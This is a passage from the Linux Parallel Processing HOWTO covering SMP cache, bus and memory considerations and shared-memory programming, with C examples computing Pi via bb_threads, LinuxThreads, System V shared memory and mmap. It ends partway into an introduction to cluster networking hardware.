Some MPS Pentium systems, and all MPS Pentium Pro and Pentium II systems, have independent L2 caches. (The L2 cache is packaged within the Pentium Pro or Pentium II modules.) Separate L2 caches are generally viewed as maximizing compute performance, but things are not quite so obvious under Linux. The primary complication is that the current SMP Linux scheduler does not attempt to keep each process on the same processor, a concept known as processor affinity. This may change soon; there has recently been some discussion about this in the SMP Linux development community under the title "processor binding." Without processor affinity, having separate L2 caches may introduce significant overhead when a process is given a timeslice on a processor other than the one that was executing it last.

Many relatively inexpensive systems are organized so that two Pentium processors share a single L2 cache. The bad news is that this causes contention for the cache, seriously degrading performance when running multiple independent sequential programs. The good news is that many parallel programs might actually benefit from the shared cache because if both processors will want to access the same line from shared memory, only one had to fetch it into cache and contention for the bus is averted. The lack of processor affinity also causes less damage with a shared L2 cache. Thus, for parallel programs, it isn't really clear that sharing L2 cache is as harmful as one might expect.

Experience with our dual Pentium shared 256K cache system shows quite a wide range of performance depending on the level of kernel activity required. At worst, we see only about 1.2x speedup. However, we also have seen up to 2.1x speedup, which suggests that compute-intensive SPMD-style code really does profit from the "shared fetch" effect.

Bus configuration?

The first thing to say is that most modern systems connect the processors to one or more PCI buses that in turn are "bridged" to one or more ISA/EISA buses. These bridges add latency, and both EISA and ISA generally offer lower bandwidth than PCI (ISA being the lowest), so disk drives, video cards, and other high-performance devices generally should be connected via a PCI bus interface.

Although an MPS system can achieve good speed-up for many compute-intensive parallel programs even if there is only one PCI bus, I/O operations occur at no better than uniprocessor performance... and probably a little worse due to bus contention from the processors. Thus, if you are looking to speed-up I/O, make sure that you get an MPS system with multiple independent PCI busses and I/O controllers (e.g., multiple SCSI chains). You will need to be careful to make sure SMP Linux supports what you get. Also keep in mind that the current SMP Linux essentially allows only one processor in the kernel at any time, so you should choose your I/O controllers carefully to pick ones that minimize the kernel time required for each I/O operation. For really high performance, you might even consider doing raw device I/O directly from user processes, without a system call... this isn't necessarily as hard as it sounds, and need not compromise security (see section 3.3 for a description of the basic techniques).

It is important to note that the relationship between bus speed and processor clock rate has become very fuzzy over the past few years. Although most systems now use the same PCI clock rate, it is not uncommon to find a faster processor clock paired with a slower bus clock. The classic example of this was that the Pentium 133 generally used a faster bus than a Pentium 150, with appropriately strange-looking performance on various benchmarks. These effects are amplified in SMP systems; it is even more important to have a faster bus clock.

Memory interleaving and DRAM technologies?

Memory interleaving actually has nothing whatsoever to do with MPS, but you will often see it mentioned for MPS systems because these systems are typically more demanding of memory bandwidth. Basically, two-way or four-way interleaving organizes RAM so that a block access is accomplished using multiple banks of RAM rather than just one. This provides higher memory access bandwidth, particularly for cache line loads and stores.

The waters are a bit muddied about this, however, because EDO DRAM and various other memory technologies tend to improve similar kinds of operations. An excellent overview of DRAM technologies is given in http://www.pcguide.com/ref/ram/tech.htm.

So, for example, is it better to have 2-way interleaved EDO DRAM or non-interleaved SDRAM? That is a very good question with no simple answer, because both interleaving and exotic DRAM technologies tend to be expensive. The same dollar investment in more ordinary memory configurations generally will give you a significantly larger main memory. Even the slowest DRAM is still a heck of a lot faster than using disk-based virtual memory....

2.2 Introduction To Shared Memory Programming

Ok, so you have decided that parallel processing on an SMP is a great thing to do... how do you get started? Well, the first step is to learn a little bit about how shared memory communication really works.

It sounds like you simply have one processor store a value into memory and another processor load it; unfortunately, it isn't quite that simple. For example, the relationship between processes and processors is very blurry; however, if we have no more active processes than there are processors, the terms are roughly interchangeable. The remainder of this section briefly summarizes the key issues that could cause serious problems, if you were not aware of them: the two different models used to determine what is shared, atomicity issues, the concept of volatility, hardware lock instructions, cache line effects, and Linux scheduler issues.

Shared Everything Vs. Shared Something

There are two fundamentally different models commonly used for shared memory programming: shared everything and shared something. Both of these models allow processors to communicate by loads and stores from/into shared memory; the distinction comes in the fact that shared everything places all data structures in shared memory, while shared something requires the user to explicitly indicate which data structures are potentially shared and which are private to a single processor.

Which shared memory model should you use? That is mostly a question of religion. A lot of people like the shared everything model because they do not really need to identify which data structures should be shared at the time they are declared... you simply put locks around potentially-conflicting accesses to shared objects to ensure that only one process(or) has access at any moment. Then again, that really isn't all that simple... so many people prefer the relative safety of shared something.

Shared Everything

The nice thing about sharing everything is that you can easily take an existing sequential program and incrementally convert it into a shared everything parallel program. You do not have to first determine which data need to be accessible by other processors.

Put simply, the primary problem with sharing everything is that any action taken by one processor could affect the other processors. This problem surfaces in two ways:

  • Many libraries use data structures that simply are not sharable. For example, the UNIX convention is that most functions can return an error code in a variable called errno; if two shared everything processes perform various calls, they would interfere with each other because they share the same errno. Although there is now a library version that fixes the errno problem, similar problems still exist in most libraries. For example, unless special precautions are taken, the X library will not work if calls are made from multiple shared everything processes.
  • Normally, the worst-case behavior for a program with a bad pointer or array subscript is that the process that contains the offending code dies. It might even generate a core file that clues you in to what happened. In shared everything parallel processing, it is very likely that the stray accesses will bring the demise of a process other than the one at fault, making it nearly impossible to localize and correct the error.

Neither of these types of problems is common when shared something is used, because only the explicitly-marked data structures are shared. It also is fairly obvious that shared everything only works if all processors are executing the exact same memory image; you cannot use shared everything across multiple different code images (i.e., can use only SPMD, not general MIMD).

The most common type of shared everything programming support is a threads library. Threads are essentially "light-weight" processes that might not be scheduled in the same way as regular UNIX processes and, most importantly, share access to a single memory map. The POSIX Pthreads package has been the focus of a number of porting efforts; the big question is whether any of these ports actually run the threads of a program in parallel under SMP Linux (ideally, with a processor for each thread). The POSIX API doesn't require it, and versions like http://www.aa.net/~mtp/PCthreads.html apparently do not implement parallel thread execution - all the threads of a program are kept within a single Linux process.

The first threads library that supported SMP Linux parallelism was the now somewhat obsolete bb_threads library, ftp://caliban.physics.utoronto.ca/pub/linux/, a very small library that used the Linux clone() call to fork new, independently scheduled, Linux processes all sharing a single address space. SMP Linux machines can run multiple of these "threads" in parallel because each "thread" is a full Linux process; the trade-off is that you do not get the same "light-weight" scheduling control provided by some thread libraries under other operating systems. The library used a bit of C-wrapped assembly code to install a new chunk of memory as each thread's stack and to provide atomic access functions for an array of locks (mutex objects). Documentation consisted of a README and a short sample program.

More recently, a version of POSIX threads using clone() has been developed. This library, LinuxThreads, is clearly the preferred shared everything library for use under SMP Linux. POSIX threads are well documented, and the LinuxThreads README and LinuxThreads FAQ are very well done. The primary problem now is simply that POSIX threads have a lot of details to get right and LinuxThreads is still a work in progress. There is also the problem that the POSIX thread standard has evolved through the standardization process, so you need to be a bit careful not to program for obsolete early versions of the standard.

Shared Something

Shared something is really "only share what needs to be shared." This approach can work for general MIMD (not just SPMD) provided that care is taken for the shared objects to be allocated at the same places in each processor's memory map. More importantly, shared something makes it easier to predict and tune performance, debug code, etc. The only problems are:

  • It can be hard to know beforehand what really needs to be shared.
  • The actual allocation of objects in shared memory may be awkward, especially for what would have been stack-allocated objects. For example, it may be necessary to explicitly allocate shared objects in a separate memory segment, requiring separate memory allocation routines and introducing extra pointer indirections in each reference.

Currently, there are two very similar mechanisms that allow groups of Linux processes to have independent memory spaces, all sharing only a relatively small memory segment. Assuming that you didn't foolishly exclude "System V IPC" when you configured your Linux system, Linux supports a very portable mechanism that has generally become known as "System V Shared Memory." The other alternative is a memory mapping facility whose implementation varies widely across different UNIX systems: the mmap() system call. You can, and should, learn about these calls from the manual pages... but a brief overview of each is given in sections 2.5 and 2.6 to help get you started.

Atomicity And Ordering

No matter which of the above two models you use, the result is pretty much the same: you get a pointer to a chunk of read/write memory that is accessible by all processes within your parallel program. Does that mean I can just have my parallel program access shared memory objects as though they were in ordinary local memory? Well, not quite....

Atomicity refers to the concept that an operation on an object is accomplished as an indivisible, uninterruptible, sequence. Unfortunately, sharing memory access does not imply that all operations on data in shared memory occur atomically. Unless special precautions are taken, only simple load or store operations that occur within a single bus transaction (i.e., aligned 8, 16, or 32-bit operations, but not misaligned nor 64-bit operations) are atomic. Worse still, "smart" compilers like GCC will often perform optimizations that could eliminate the memory operations needed to ensure that other processors can see what this processor has done. Fortunately, both these problems can be remedied... leaving only the relationship between access efficiency and cache line size for us to worry about.

However, before discussing these issues, it is useful to point-out that all of this assumes that memory references for each processor happen in the order in which they were coded. The Pentium does this, but also notes that future Intel processors might not. So, for future processors, keep in mind that it may be necessary to surround some shared memory accesses with instructions that cause all pending memory accesses to complete, thus providing memory access ordering. The CPUID instruction apparently is reserved to have this side-effect.

Volatility

To prevent GCC's optimizer from buffering values of shared memory objects in registers, all objects in shared memory should be declared as having types with the volatile attribute. If this is done, all shared object reads and writes that require just one word access will occur atomically. For example, suppose that p is a pointer to an integer, where both the pointer and the integer it will point at are in shared memory; the ANSI C declaration might be:

volatile int * volatile p;

In this code, the first volatile refers to the int that p will eventually point at; the second volatile refers to the pointer itself. Yes, it is annoying, but it is the price one pays for enabling GCC to perform some very powerful optimizations. At least in theory, the -traditional option to GCC might suffice to produce correct code at the expense of some optimization, because pre-ANSI K&R C essentially claimed that all variables were volatile unless explicitly declared as register. Still, if your typical GCC compile looks like cc -O6 ..., you really will want to explicitly mark things as volatile only where necessary.

There has been a rumor to the effect that using assembly-language locks that are marked as modifying all processor registers will cause GCC to appropriately flush all variables, thus avoiding the "inefficient" compiled code associated with things declared as volatile. This hack appears to work for statically allocated global variables using version 2.7.0 of GCC... however, that behavior is not required by the ANSI C standard. Still worse, other processes that are making only read accesses can buffer the values in registers forever, thus never noticing that the shared memory value has actually changed. In summary, do what you want, but only variables accessed through volatile are guaranteed to work correctly.

Note that you can cause a volatile access to an ordinary variable by using a type cast that imposes the volatile attribute. For example, the ordinary int i; can be referenced as a volatile by *((volatile int *) &i); thus, you can explicitly invoke the "overhead" of volatility only where it is critical.

Locks

If you thought that ++i; would always work to add one to a variable i in shared memory, you've got a nasty little surprise coming: even if coded as a single instruction, the load and store of the result are separate memory transactions, and other processors could access i between these two transactions. For example, having two processes both perform ++i; might only increment i by one, rather than by two. According to the Intel Pentium "Architecture and Programming Manual," the LOCK prefix can be used to ensure that any of the following instructions is atomic relative to the data memory location it accesses:

BTS, BTR, BTC                     mem, reg/imm
XCHG                              reg, mem
XCHG                              mem, reg
ADD, OR, ADC, SBB, AND, SUB, XOR  mem, reg/imm
NOT, NEG, INC, DEC                mem
CMPXCHG, XADD

However, it probably is not a good idea to use all these operations. For example, XADD did not even exist for the 386, so coding it may cause portability problems.

The XCHG instruction always asserts a lock, even without the LOCK prefix, and thus is clearly the preferred atomic operation from which to build higher-level atomic constructs such as semaphores and shared queues. Of course, you can't get GCC to generate this instruction just by writing C code... instead, you must use a bit of in-line assembly code. Given a word-size volatile object obj and a word-size register value reg, the GCC in-line assembly code is:

__asm__ __volatile__ ("xchgl %1,%0"
                      :"=r" (reg), "=m" (obj)
                      :"r" (reg), "m" (obj));

Examples of GCC in-line assembly code using bit operations for locking are given in the source code for the bb_threads library.

It is important to remember, however, that there is a cost associated with making memory transactions atomic. A locking operation carries a fair amount of overhead and may delay memory activity from other processors, whereas ordinary references may use local cache. The best performance results when locking operations are used as infrequently as possible. Further, these IA32 atomic instructions obviously are not portable to other systems.

There are many alternative approaches that allow ordinary instructions to be used to implement various synchronizations, including mutual exclusion - ensuring that at most one processor is updating a given shared object at any moment. Most OS textbooks discuss at least one of these techniques. There is a fairly good discussion in the Fourth Edition of Operating System Concepts, by Abraham Silberschatz and Peter B. Galvin, ISBN 0-201-50480-4.

Cache Line Size

One more fundamental atomicity concern can have a dramatic impact on SMP performance: cache line size. Although the MPS standard requires references to be coherent no matter what caching is used, the fact is that when one processor writes to a particular line of memory, every cached copy of the old line must be invalidated or updated. This implies that if two or more processors are both writing data to different portions of the same line a lot of cache and bus traffic may result, effectively to pass the line from cache to cache. This problem is known as false sharing. The solution is simply to try to organize data so that what is accessed in parallel tends to come from a different cache line for each process.

You might be thinking that false sharing is not a problem using a system with a shared L2 cache, but remember that there are still separate L1 caches. Cache organization and number of separate levels can both vary, but the Pentium L1 cache line size is 32 bytes and typical external cache line sizes are around 256 bytes. Suppose that the addresses (physical or virtual) of two items are a and b and that the largest per-processor cache line size is c, which we assume to be a power of two. To be very precise, if ((int) a) & ~(c - 1) is equal to ((int) b) & ~(c - 1), then both references are in the same cache line. A simpler rule is that if shared objects being referenced in parallel are at least c bytes apart, they should map to different cache lines.

Linux Scheduler Issues

Although the whole point of using shared memory for parallel processing is to avoid OS overhead, OS overhead can come from things other than communication per se. We have already said that the number of processes that should be constructed is less than or equal to the number of processors in the machine. But how do you decide exactly how many processes to make?

For best performance, the number of processes in your parallel program should be equal to the expected number of your program's processes that simultaneously can be running on different processors. For example, if a four-processor SMP typically has one process actively running for some other purpose (e.g., a WWW server), then your parallel program should use only three processes. You can get a rough idea of how many other processes are active on your system by looking at the "load average" quoted by the uptime command.

Alternatively, you could boost the priority of the processes in your parallel program using, for example, the renice command or nice() system call. You must be privileged to increase priority. The idea is simply to force the other processes out of processors so that your program can run simultaneously across all processors. This can be accomplished somewhat more explicitly using the prototype version of SMP Linux at http://luz.cs.nmt.edu/~rtlinux/, which offers real-time schedulers.

If you are not the only user treating your SMP system as a parallel machine, you may also have conflicts between the two or more parallel programs trying to execute simultaneously. This standard solution is gang scheduling - i.e., manipulating scheduling priority so that at any given moment, only the processes of a single parallel program are running. It is useful to recall, however, that using more parallelism tends to have diminishing returns and scheduler activity adds overhead. Thus, for example, it is probably better for a four-processor machine to run two programs with two processes each rather than gang scheduling between two programs with four processes each.

There is one more twist to this. Suppose that you are developing a program on a machine that is heavily used all day, but will be fully available for parallel execution at night. You need to write and test your code for correctness with the full number of processes, even though you know that your daytime test runs will be slow. Well, they will be very slow if you have processes busy waiting for shared memory values to be changed by other processes that are not currently running (on other processors). The same problem occurs if you develop and test your code on a single-processor system.

The solution is to embed calls in your code, wherever it may loop awaiting an action from another processor, so that Linux will give another process a chance to run. I use a C macro, call it IDLE_ME, to do this: for a test run, compile with cc -DIDLE_ME=usleep(1); ...; for a "production" run, compile with cc -DIDLE_ME={} .... The usleep(1) call requests a 1 microsecond sleep, which has the effect of allowing the Linux scheduler to select a different process to run on that processor. If the number of processes is more than twice the number of processors available, it is not unusual for codes to run ten times faster with usleep(1) calls than without them.

2.3 bb_threads

The bb_threads ("Bare Bones" threads) library, ftp://caliban.physics.utoronto.ca/pub/linux/, is a remarkably simple library that demonstrates use of the Linux clone() call. The gzip tar file is only 7K bytes! Although this library is essentially made obsolete by the LinuxThreads library discussed in section 2.4, bb_threads is still usable, and it is small and simple enough to serve well as an introduction to use of Linux thread support. Certainly, it is far less daunting to read this source code than to browse the source code for LinuxThreads. In summary, the bb_threads library is a good starting point, but is not really suitable for coding large projects.

The basic program structure for using the bb_threads library is:

  1. Start the program running as a single process.
  2. You will need to estimate the maximum stack space that will be required for each thread. Guessing large is relatively harmless (that is what virtual memory is for ;-), but remember that all the stacks are coming from a single virtual address space, so guessing huge is not a great idea. The demo suggests 64K. This size is set to b bytes by bb_threads_stacksize(b).
  3. The next step is to initialize any locks that you will need. The lock mechanism built-into this library numbers locks from 0 to MAX_MUTEXES, and initializes lock i by bb_threads_mutexcreate(i).
  4. Spawning a new thread is done by calling a library routine that takes arguments specifying what function the new thread should execute and what arguments should be transmitted to it. To start a new thread executing the void-returning function f with the single argument arg, you do something like bb_threads_newthread(f, &arg), where f should be declared something like void f(void *arg, size_t dummy). If you need to pass more than one argument, pass a pointer to a structure initialized to hold the argument values.
  5. Run parallel code, being careful to use bb_threads_lock(n) and bb_threads_unlock(n) where n is an integer identifying which lock to use. Note that the lock and unlock operations in this library are very basic spin locks using atomic bus-locking instructions, which can cause excessive memory-reference interference and do not make any attempt to ensure fairness. The demo program packaged with bb_threads did not correctly use locks to prevent printf() from being executed simultaneously from within the functions fnn and main... and because of this, the demo does not always work. I'm not saying this to knock the demo, but rather to emphasize that this stuff is very tricky; also, it is only slightly easier using LinuxThreads.
  6. When a thread executes a return, it actually destroys the process... but the local stack memory is not automatically deallocated. To be precise, Linux doesn't support deallocation, but the memory space is not automatically added back to the malloc() free list. Thus, the parent process should reclaim the space for each dead child by bb_threads_cleanup(wait(NULL)).

The following C program uses the algorithm discussed in section 1.3 to compute the approximate value of Pi using two bb_threads threads.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include "bb_threads.h"

volatile double pi = 0.0;
volatile int intervals;
volatile int pids[2];      /* Unix PIDs of threads */

void
do_pi(void *data, size_t len)
{
  register double width, localsum;
  register int i;
  register int iproc = (getpid() != pids[0]);

  /* set width */
  width = 1.0 / intervals;

  /* do the local computations */
  localsum = 0;
  for (i=iproc; i<intervals; i+=2) {
    register double x = (i + 0.5) * width;
    localsum += 4.0 / (1.0 + x * x);
  }
  localsum *= width;

  /* get permission, update pi, and unlock */
  bb_threads_lock(0);
  pi += localsum;
  bb_threads_unlock(0);
}

int
main(int argc, char **argv)
{
  /* get the number of intervals */
  intervals = atoi(argv[1]);

  /* set stack size and create lock... */
  bb_threads_stacksize(65536);
  bb_threads_mutexcreate(0);

  /* make two threads... */
  pids[0] = bb_threads_newthread(do_pi, NULL);
  pids[1] = bb_threads_newthread(do_pi, NULL);

  /* cleanup after two threads (really a barrier sync) */
  bb_threads_cleanup(wait(NULL));
  bb_threads_cleanup(wait(NULL));

  /* print the result */
  printf("Estimation of pi is %f\n", pi);

  /* check-out */
  exit(0);
}

2.4 LinuxThreads

LinuxThreads http://pauillac.inria.fr/~xleroy/linuxthreads/ is a fairly complete and solid implementation of "shared everything" as per the POSIX 1003.1c threads standard. Unlike other POSIX threads ports, LinuxThreads uses the same Linux kernel threads facility (clone()) that is used by bb_threads. POSIX compatibility means that it is relatively easy to port quite a few threaded applications from other systems and various tutorial materials are available. In short, this is definitely the threads package to use under Linux for developing large-scale threaded programs.

The basic program structure for using the LinuxThreads library is:

  1. Start the program running as a single process.
  2. The next step is to initialize any locks that you will need. Unlike bb_threads locks, which are identified by numbers, POSIX locks are declared as variables of type pthread_mutex_t lock. Use pthread_mutex_init(&lock,val) to initialize each one you will need to use.
  3. As with bb_threads, spawning a new thread is done by calling a library routine that takes arguments specifying what function the new thread should execute and what arguments should be transmitted to it. However, POSIX requires the user to declare a variable of type pthread_t to identify each thread. To create a thread pthread_t thread running f(), one calls pthread_create(&thread,NULL,f,&arg).
  4. Run parallel code, being careful to use pthread_mutex_lock(&lock) and pthread_mutex_unlock(&lock) as appropriate.
  5. Use pthread_join(thread,&retval) to clean-up after each thread.
  6. Use -D_REENTRANT when compiling your C code.

An example parallel computation of Pi using LinuxThreads follows. The algorithm of section 1.3 is used and, as for the bb_threads example, two threads execute in parallel.

#include <stdio.h>
#include <stdlib.h>
#include "pthread.h"

volatile double pi = 0.0;  /* Approximation to pi (shared) */
pthread_mutex_t pi_lock;   /* Lock for above */
volatile double intervals; /* How many intervals? */

void *
process(void *arg)
{
  register double width, localsum;
  register int i;
  register int iproc = (*((char *) arg) - '0');

  /* Set width */
  width = 1.0 / intervals;

  /* Do the local computations */
  localsum = 0;
  for (i=iproc; i<intervals; i+=2) {
    register double x = (i + 0.5) * width;
    localsum += 4.0 / (1.0 + x * x);
  }
  localsum *= width;

  /* Lock pi for update, update it, and unlock */
  pthread_mutex_lock(&pi_lock);
  pi += localsum;
  pthread_mutex_unlock(&pi_lock);

  return(NULL);
}

int
main(int argc, char **argv)
{
  pthread_t thread0, thread1;
  void * retval;

  /* Get the number of intervals */
  intervals = atoi(argv[1]);

  /* Initialize the lock on pi */
  pthread_mutex_init(&pi_lock, NULL);

  /* Make the two threads */
  if (pthread_create(&thread0, NULL, process, "0") ||
      pthread_create(&thread1, NULL, process, "1")) {
    fprintf(stderr, "%s: cannot make thread\n", argv[0]);
    exit(1);
  }

  /* Join (collapse) the two threads */
  if (pthread_join(thread0, &retval) ||
      pthread_join(thread1, &retval)) {
    fprintf(stderr, "%s: thread join failed\n", argv[0]);
    exit(1);
  }

  /* Print the result */
  printf("Estimation of pi is %f\n", pi);

  /* Check-out */
  exit(0);
}

2.5 System V Shared Memory

The System V IPC (Inter-Process Communication) support consists of a number of system calls providing message queues, semaphores, and a shared memory mechanism. Of course, these mechanisms were originally intended to be used for multiple processes to communicate within a uniprocessor system. However, that implies that it also should work to communicate between processes under SMP Linux, no matter which processors they run on.

Before going into how these calls are used, it is important to understand that although System V IPC calls exist for things like semaphores and message transmission, you probably should not use them. Why not? These functions are generally slow and serialized under SMP Linux. Enough said.

The basic procedure for creating a group of processes sharing access to a shared memory segment is:

  1. Start the program running as a single process.
  2. Typically, you will want each run of a parallel program to have its own shared memory segment, so you will need to call shmget() to create a new segment of the desired size. Alternatively, this call can be used to get the ID of a pre-existing shared memory segment. In either case, the return value is either the shared memory segment ID or -1 for error. For example, to create a shared memory segment of b bytes, the call might be shmid = shmget(IPC_PRIVATE, b, (IPC_CREAT | 0666)).
  3. The next step is to attach this shared memory segment to this process, literally adding it to the virtual memory map of this process. Although the shmat() call allows the programmer to specify the virtual address at which the segment should appear, the address selected must be aligned on a page boundary (i.e., be a multiple of the page size returned by getpagesize(), which is usually 4096 bytes), and will override the mapping of any memory formerly at that address. Thus, we instead prefer to let the system pick the address. In either case, the return value is a pointer to the base virtual address of the segment just mapped. The code is shmptr = shmat(shmid, 0, 0). Notice that you can allocate all your static shared variables into this shared memory segment by simply declaring all shared variables as members of a struct type, and declaring shmptr to be a pointer to that type. Using this technique, shared variable x would be accessed as shmptr->x.
  4. Since this shared memory segment should be destroyed when the last process with access to it terminates or detaches from it, we need to call shmctl() to set-up this default action. The code is something like shmctl(shmid, IPC_RMID, 0).
  5. Use the standard Linux fork() call to make the desired number of processes... each will inherit the shared memory segment.
  6. When a process is done using a shared memory segment, it really should detach from that shared memory segment. This is done by shmdt(shmptr).

Although the above set-up does require a few system calls, once the shared memory segment has been established, any change made by one processor to a value in that memory will automatically be visible to all processes. Most importantly, each communication operation will occur without the overhead of a system call.

An example C program using System V shared memory segments follows. It computes Pi, using the same algorithm given in section 1.3.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ipc.h>
#include <sys/shm.h>

volatile struct shared { double pi; int lock; } *shared;

inline extern int xchg(register int reg,
volatile int * volatile obj)
{
  /* Atomic exchange instruction */
__asm__ __volatile__ ("xchgl %1,%0"
                      :"=r" (reg), "=m" (*obj)
                      :"r" (reg), "m" (*obj));
  return(reg);
}

main(int argc, char **argv)
{
  register double width, localsum;
  register int intervals, i;
  register int shmid;
  register int iproc = 0;;

  /* Allocate System V shared memory */
  shmid = shmget(IPC_PRIVATE,
                 sizeof(struct shared),
                 (IPC_CREAT | 0600));
  shared = ((volatile struct shared *) shmat(shmid, 0, 0));
  shmctl(shmid, IPC_RMID, 0);

  /* Initialize... */
  shared->pi = 0.0;
  shared->lock = 0;

  /* Fork a child */
  if (!fork()) ++iproc;

  /* get the number of intervals */
  intervals = atoi(argv[1]);
  width = 1.0 / intervals;

  /* do the local computations */
  localsum = 0;
  for (i=iproc; i<intervals; i+=2) {
    register double x = (i + 0.5) * width;
    localsum += 4.0 / (1.0 + x * x);
  }
  localsum *= width;

  /* Atomic spin lock, add, unlock... */
  while (xchg((iproc + 1), &(shared->lock))) ;
  shared->pi += localsum;
  shared->lock = 0;

  /* Terminate child (barrier sync) */
  if (iproc == 0) {
    wait(NULL);
    printf("Estimation of pi is %f\n", shared->pi);
  }

  /* Check out */
  return(0);
}

In this example, I have used the IA32 atomic exchange instruction to implement locking. For better performance and portability, substitute a synchronization technique that avoids atomic bus-locking instructions (discussed in section 2.2).

When debugging your code, it is useful to remember that the ipcs command will report the status of the System V IPC facilities currently in use.

2.6 Memory Map Call

Using system calls for file I/O can be very expensive; in fact, that is why there is a user-buffered file I/O library (getchar(), fwrite(), etc.). But user buffers don't work if multiple processes are accessing the same writeable file, and the user buffer management overhead is significant. The BSD UNIX fix for this was the addition of a system call that allows a portion of a file to be mapped into user memory, essentially using virtual memory paging mechanisms to cause updates. This same mechanism also has been used in systems from Sequent for many years as the basis for their shared memory parallel processing support. Despite some very negative comments in the (quite old) man page, Linux seems to correctly perform at least some of the basic functions, and it supports the degenerate use of this system call to map an anonymous segment of memory that can be shared across multiple processes.

In essence, the Linux implementation of mmap() is a plug-in replacement for steps 2, 3, and 4 in the System V shared memory scheme outlined in section 2.5. To create an anonymous shared memory segment:

shmptr =
    mmap(0,                        /* system assigns address */
         b,                        /* size of shared memory segment */
         (PROT_READ | PROT_WRITE), /* access rights, can be rwx */
         (MAP_ANON | MAP_SHARED),  /* anonymous, shared */
         0,                        /* file descriptor (not used) */
         0);                       /* file offset (not used) */

The equivalent to the System V shared memory shmdt() call is munmap():

munmap(shmptr, b);

In my opinion, there is no real benefit in using mmap() instead of the System V shared memory support.


Linux Parallel Processing HOWTO: Clusters Of Linux Systems

 Next Previous Contents

3. Clusters Of Linux Systems

This section attempts to give an overview of cluster parallel processing using Linux. Clusters are currently both the most popular and the most varied approach, ranging from a conventional network of workstations (NOW) to essentially custom parallel machines that just happen to use Linux PCs as processor nodes. There is also quite a lot of software support for parallel processing using clusters of Linux machines.

3.1 Why A Cluster?

Cluster parallel processing offers several important advantages:

  • Each of the machines in a cluster can be a complete system, usable for a wide range of other computing applications. This leads many people to suggest that cluster parallel computing can simply claim all the "wasted cycles" of workstations sitting idle on people's desks. It is not really so easy to salvage those cycles, and it will probably slow your co-worker's screen saver, but it can be done.
  • The current explosion in networked systems means that most of the hardware for building a cluster is being sold in high volume, with correspondingly low "commodity" prices as the result. Further savings come from the fact that only one video card, monitor, and keyboard are needed for each cluster (although you may need to swap these into each machine to perform the initial installation of Linux, once running, a typical Linux PC does not need a "console"). In comparison, SMP and attached processors are much smaller markets, tending toward somewhat higher price per unit performance.
  • Cluster computing can scale to very large systems. While it is currently hard to find a Linux-compatible SMP with many more than four processors, most commonly available network hardware easily builds a cluster with up to 16 machines. With a little work, hundreds or even thousands of machines can be networked. In fact, the entire Internet can be viewed as one truly huge cluster.
  • The fact that replacing a "bad machine" within a cluster is trivial compared to fixing a partly faulty SMP yields much higher availability for carefully designed cluster configurations. This becomes important not only for particular applications that cannot tolerate significant service interruptions, but also for general use of systems containing enough processors so that single-machine failures are fairly common. (For example, even though the average time to failure of a PC might be two years, in a cluster with 32 machines, the probability that at least one will fail within 6 months is quite high.)

OK, so clusters are free or cheap and can be very large and highly available... why doesn't everyone use a cluster? Well, there are problems too:

  • With a few exceptions, network hardware is not designed for parallel processing. Typically latency is very high and bandwidth relatively low compared to SMP and attached processors. For example, SMP latency is generally no more than a few microseconds, but is commonly hundreds or thousands of microseconds for a cluster. SMP communication bandwidth is often more than 100 MBytes/second; although the fastest network hardware (e.g., "Gigabit Ethernet") offers comparable speed, the most commonly used networks are between 10 and 1000 times slower. The performance of network hardware is poor enough as an isolated cluster network. If the network is not isolated from other traffic, as is often the case using "machines that happen to be networked" rather than a system designed as a cluster, performance can be substantially worse.
  • There is very little software support for treating a cluster as a single system. For example, the ps command only reports the processes running on one Linux system, not all processes running across a cluster of Linux systems.

Thus, the basic story is that clusters offer great potential, but that potential may be very difficult to achieve for most applications. The good news is that there is quite a lot of software support that will help you achieve good performance for programs that are well suited to this environment, and there are also networks designed specifically to widen the range of programs that can achieve good performance.

3.2 Network Hardware

Computer networking is an exploding field... but you already knew that. An ever-increasing range of networking technologies and products are being developed, and most are available in forms that could be applied to make a parallel-processing cluster out of a group of machines (i.e., PCs each running Linux).

Unfortunately, no one network technology solves all problems best; in fact, the range of approach, cost, and performance is at first hard to believe. For example, using standard commercially-available hardware, the cost per machine networked ranges from less than $5 to over $4,000. The delivered bandwidth and latency each also vary over four orders of magnitude.

Before trying to learn about specific networks, it is important to recognize that these things change like the wind (see http://www.uk.linux.org/NetNews.html for Linux networking news), and it is very difficult to get accurate data about some networks.

Where I was particularly uncertain, I've placed a ?. I have spent a lot of time researching this topic, but I'm sure my summary is full of errors and has omitted many important things. If you have any corrections or additions, please send email to pplinux@ecn.purdue.edu.

Summaries like the LAN Technology Scorecard at http://web.syr.edu/~jmwobus/comfaqs/lan-technology.html give some characteristics of many different types of networks and LAN standards. However, the summary in this HOWTO centers on the network properties that are most relevant to construction of Linux clusters. The section discussing each network begins with a short list of characteristics. The following defines what these entries mean.

Linux support:

If the answer is no, the meaning is pretty clear. Other answers try to describe the basic program interface that is used to access the network. Most network hardware is interfaced via a kernel driver, typically supporting TCP/UDP communication. Some other networks use more direct (e.g., library) interfaces to reduce latency by bypassing the kernel.

Years ago, it used to be considered perfectly acceptable to access a floating point unit via an OS call, but that is now clearly ludicrous; in my opinion, it is just as awkward for each communication between processors executing a parallel program to require an OS call. The problem is that computers haven't yet integrated these communication mechanisms, so non-kernel approaches tend to have portability problems. You are going to hear a lot more about this in the near future, mostly in the form of the new Virtual Interface (VI) Architecture, http://www.viarch.org/, which is a standardized method for most network interface operations to bypass the usual OS call layers. The VI standard is backed by Compaq, Intel, and Microsoft, and is sure to have a strong impact on SAN (System Area Network) designs over the next few years.

Maximum bandwidth:

This is the number everybody cares about. I have generally used the theoretical best case numbers; your mileage will vary.

Minimum latency:

In my opinion, this is the number everybody should care about even more than bandwidth. Again, I have used the unrealistic best-case numbers, but at least these numbers do include all sources of latency, both hardware and software. In most cases, the network latency is just a few microseconds; the much larger numbers reflect layers of inefficient hardware and software interfaces.

Available as:

Simply put, this describes how you get this type of network hardware. Commodity stuff is widely available from many vendors, with price as the primary distinguishing factor. Multiple-vendor things are available from more than one competing vendor, but there are significant differences and potential interoperability problems. Single-vendor networks leave you at the mercy of that supplier (however benevolent it may be). Public domain designs mean that even if you cannot find somebody to sell you one, you or anybody else can buy parts and make one. Research prototypes are just that; they are generally neither ready for external users nor available to them.

Interface port/bus used:

